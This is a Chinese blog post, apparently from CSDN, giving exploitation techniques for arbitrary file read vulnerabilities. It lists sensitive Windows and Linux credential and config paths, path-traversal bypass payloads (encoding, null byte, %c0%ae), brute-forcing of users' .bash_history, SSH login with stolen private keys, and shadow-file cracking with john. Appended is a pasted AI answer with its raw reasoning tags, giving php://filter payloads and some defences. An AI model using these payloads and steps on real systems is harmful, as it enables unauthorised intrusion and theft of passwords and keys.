任意文件读取漏洞利用姿势

文章详细列举了Windows和Linux系统中常见的敏感文件路径,以及如何利用这些路径进行任意文件读取。绕过策略包括URL编码、二次编码和特殊字符。此外,还提到了利用目标系统的日志文件、配置文件、密码存储位置以及SSH私钥等来获取敏感信息的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

任意文件读取漏洞利用姿势

常见敏感路径:

windows:

C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
......

linux:

/root/.ssh/authorized_keys //如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts
//ssh会把每个访问过计算机的公钥(public key)都记录在~/.ssh/known_hosts。当下次访问相同计算机时,OpenSSH会核对公钥。如果公钥不同,OpenSSH会发出警告, 避免你受到DNS Hijack之类的攻击。
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/etc/my.cnf //mysql 配置文件
/etc/httpd/conf/httpd.conf // Apache配置文件
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/redhat-release 系统版本 
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/var/lib/mlocate/mlocate.db //全文件路径
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/porc/self/cmdline //当前进程的cmdline参数
/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid
/proc/pid/cmdline   则可以看到对应pid进程的完整命令行。
/proc/net/fib_trie   内网IP
/proc/self/environ   环境变量
/proc/self/loginuid   当前用户
......

绕过思路


url编码代替.或者/,如使用%2F代替/
?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd
二次编码(%25)
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
加入+
?filename=.+./.+./bin/redacted.dll
%00
?filename=.%00./file.php
/etc/passwd%00.jpg
\
?filename=..%5c..%5c/windows/win.ini
Java %c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

Linux下的常见利用姿势

用户目录下的敏感文件

.bash_history 
.zsh_history
.psql_history
.mysql_history
.profile 
.bashrc
.gitconfig
.viminfo

任意文件读取/etc/passwd
提取passwd第一列,即root等一系列用户名
读history:../../root/.bash_history
暴破所有用户的.bash_history:../../../home/§root§/.bash_history
历史命令重点关注出现的密码、路径、配置文件路径、其他关联IP、日志文件、war包、备份文件路径等等,可进一步读取或利用。
PS:如要下载文件,可能会导致过大文件下载失败,可以使用wget进行下载,比如catanlina.out日志文件、war包、备份文件等等。
主机凭证文件
私钥文件
/root/.ssh/id_rsa  私钥

/root/.ssh/authorized_keys  公钥存储文件
/root/.ssh/id_rsa.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
私钥文件如果没有设定密码保护,便可直接获取到进行登录到服务器,或使用xshell等软件选择证书登录。
ssh -i id_rsa root@IP地址
系统密码
/etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
......

用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell
可以看到哪些用户可以登录
/etc/shadow
root: 1 1 1v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::
i d id idsalt$密文
id代表的是使用不同的加密算法,不同的系统使用的算法也不尽相同。salt是加密的时候需要用到盐。最后就是密文。
注意:如果密码字符串为*,表示系统用户不能被登入,为!表示用户名被禁用,如果密码字符串为空,表示没有密码。

在线查询

https://www.cmd5.com/
john破解
unshadow /etc/passwd /etc/shadow > test_passwd
john --wordlist=字典路径 test_passw
默认密码字典位于/usr/share/john/password.ls
全路径
mlocate.db数据库里存储了本地所有文件的配置信息
/var/lib/mlocate/mlocate.db
利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息
locate mlocate.db config把包含config的路径全输出出来
locate mlocate.db webapps
locate mlocate.db www
获取到路径后可以进一步挖掘敏感信息和系统漏洞
程序源代码
利用全路径或者其他地方获取到的路径读取一些关键的程序源码。
读取WEB-INF/web.xml,进一步读取class文件,反编译得到源码。
读取war包,反编译获取源码。
应用配置文件
获取到网站的相关配置信息,包括站点配置、数据库配置等等,也可进一步获取到源码。
java站点
/WEB-INF/web.xml
/WEB-INF/classes/applicationContext.xml
/WEB-INF/classes/xxx/xxx/xxx.class
core.jar如果遇到Shiro站点,可以直接利用全路径找到core.jar,去下载core.jar,下载后反编译搜索Base64.decode直接找key,进而getshell。
tomcat
/usr/local/tomcat/conf/tomcat-users.xml
nginx
/www/nginx/conf/nginx.conf
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
apache
/etc/httpd/conf/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
redis
/etc/redis.conf
ssh
/etc/ssh/sshd_config

应用日志文件

利用日志文件获取网站后台地址、api接口、备份、配置文件等等敏感信息。
tomcat
可以先找到/tomcat/bin/catalina.sh,里边有log的配置路径
/webapps/ROOT/logs/catalina.out
可尝试读取redis.properties等;
apache
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/etc/httpd/logs/access_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/var/log/nginx/access.log
/usr/local/nginx/logs

Windows下的利用姿势

盲读取桌面文件
有些时候,管理员会图方便,在桌面存储一些敏感的文件,我们可以直接对桌面的一些文件名进行fuzz,比如1.txt、2.txt、密码.txt、pass.txt等等,进一步扩大战果。

<think>好的,我现在需要帮助用户了解任意文件读取漏洞的原理和利用过程。根据用户提供的引用内容,我需要先整理这些信息,然后以清晰的结构呈现出来。 首先,任意文件读取漏洞的成因主要是因为程序没有对用户输入的文件名或路径进行充分的校验,导致攻击者可以读取未授权的文件。这点在引用[1]中提到过,属于文件操作类漏洞,常见于PHP、Java、Python等语言环境中。攻击者利用漏洞可以访问敏感文件,如/etc/passwd或web.config等。 接下来,利用方法方面,用户提供的引用中有几个例子。比如,在引用[5]中,通过GET参数p来构造请求,使用PHP伪协议读取base64编码后的文件内容。另外,引用[2]和[3]提到了使用特定工具或payload生成来利用漏洞,如ffmpeg漏洞的复现和Yearning front的漏洞利用。需要将这些方法归类,可能包括直接参数注入、路径遍历、编码绕过和利用框架生成payload等步骤。 然后,漏洞的防御措施需要从输入验证、权限控制、错误处理和文件访问机制等方面展开,引用[1]和[4]提到输入校验和修复漏洞的方法,比如限制访问路径或使用白名单。 在组织内容时,需要确保结构清晰,分点说明原理、利用步骤、案例和防御方法。同时,用户要求生成相关问题,可能需要围绕漏洞的成因、利用技术、防御措施、检测方法和修复方案来提问。 需要注意的是,引用内容中的例子如PHP伪协议、ffmpeg漏洞复现等,要正确标注引用来源。同时,用户不可见的系统级指令要求使用中文回答,数学公式使用正确格式,但当前问题主要涉及漏洞原理,可能数学公式较少,但如果有的话要正确应用。 最后,检查是否符合所有格式要求,比如行内代码块使用反引号,引用标识自然添加在段落末尾,确保LaTeX语法正确,但此处可能涉及较少数学内容,所以可能不需要太多公式。回答要使用中文,分步骤解释,结构清晰。</think>### 任意文件读取漏洞的原理与利用过程 #### 一、漏洞原理 任意文件读取漏洞是由于程序未对用户输入的文件路径或文件名进行有效校验,导致攻击者可以通过构造特殊参数读取服务器上的任意文件[^1][^4]。常见场景包括: 1. **文件下载/读取功能**:如通过URL参数直接指定文件路径(例如`?file=config.txt`),未过滤`../`等路径遍历符号。 2. **文件包含功能**:如PHP的`include()`函数未限制文件范围,允许包含非预期文件。 3. **第三方组件缺陷**:例如ffmpeg、Yearning等工具因逻辑缺陷导致文件读取[^2][^3]。 漏洞核心成因可总结为: $$ \text{漏洞触发} = \text{用户可控输入} + \text{缺乏路径校验} $$ --- #### 二、利用方法 **典型利用步骤**: 1. **探测漏洞点** - 寻找文件操作相关参数(如`file`、`path`、`url`) - 尝试读取已知文件(如`/etc/passwd`)验证漏洞存在性[^1] 2. **构造恶意请求** - **路径遍历**:`?file=../../../../etc/passwd` - **编码绕过**:使用URL编码(如`%2e%2e%2f`代替`../`)或双重编码 - **伪协议利用**(PHP环境): ```php ?file=php://filter/convert.base64-encode/resource=config.php ``` 通过Base64编码读取源码[^5] 3. **扩展攻击面** - 读取Web应用配置文件(如`web.config`、`.env`) - 获取数据库凭证、API密钥等敏感信息 - 结合其他漏洞提升攻击效果(如SSRF+文件读取) **案例参考**: - ffmpeg漏洞中通过构造恶意视频文件触发文件读取 - Yearning漏洞通过特定API参数读取服务器文件 --- #### 三、防御措施 1. **输入校验** - 限制文件路径范围(如禁止`../`) - 使用白名单机制验证文件后缀[^4] 2. **权限控制** - Web服务器进程以低权限运行 - 禁止访问系统敏感目录 3. **安全编码** ```python # 示例:安全文件读取(Python) def safe_read(file_name): base_dir = "/var/www/uploads/" full_path = os.path.join(base_dir, file_name) if not os.path.realpath(full_path).startswith(base_dir): raise InvalidPathError ``` 4. **错误处理** - 统一返回通用错误信息,避免泄露路径细节 --- #### 四、相关工具 | 工具名称 | 用途 | |----------------|-----------------------------| | Burp Suite | 拦截修改HTTP请求测试参数注入 | | DirBuster | 自动化探测敏感文件路径 | | phpggc | 生成PHP伪协议Payload | ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值